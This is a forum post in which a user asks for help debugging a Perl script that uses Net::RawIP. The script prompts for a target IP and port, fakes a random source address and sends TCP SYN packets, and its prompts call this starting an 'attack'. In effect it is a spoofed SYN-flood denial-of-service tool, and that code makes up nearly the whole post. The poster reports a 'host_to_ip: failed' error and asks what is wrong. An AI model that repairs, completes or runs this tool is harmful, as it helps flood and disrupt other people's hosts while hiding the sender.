hello guys,I have been a problem with Net::RawIP, when I code:

#!/usr/bin/perl
use strict;
use warnings;
my $teste;
use Net::RawIP;
inicio:
system("clear");
sleep(2);
system("clear");
print "Digite o endereco IP do alvo-->";
my $alv=<STDIN>;
unless ( $alv =~ /[0-9]/){
print "IP invalido, aperte ENTER para voltar:";
<STDIN>;
 goto inicio;
}
print "\nDica: Use o portscan para verificar quais portas estao aberta
+s";
print "\n\nDigite a porta do alvo-->";
my $po_alv=<STDIN>;
unless ( $po_alv =~ /[0-9]/){
 print "Porta invalido, aperte ENTER para voltar:";
 <STDIN>;
 goto inicio;
}
my $rand= int(rand(100) + 100);
my $rand1= int(rand(100) + 100);
my $rand2= int(rand(100) +100);
my $rand3= int(rand(100)+100);
my $ip= "$rand.$rand1.$rand2.$rand3";
print "\n\nPara parar o ataque digite CTRL C";
print "\n\nPara iniciar o ataque aperte ENTER";
my $a=<STDIN>;
$teste=Net::RawIP->new({
                   ip => {   saddr => $ip,
                             daddr => $alv,
                        },
                   tcp =>{ 
                             source=>  80, 
                             dest => $po_alv,   
                             syn  => 1, 
                         },
                     });
$teste->send;
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And when I run this code, putting a IP and a port, return me this error:host_to_ip: failed at /usr/lib/perl5/Net/RawIP.pm line 481, <STDIN> line 3. What is wrong???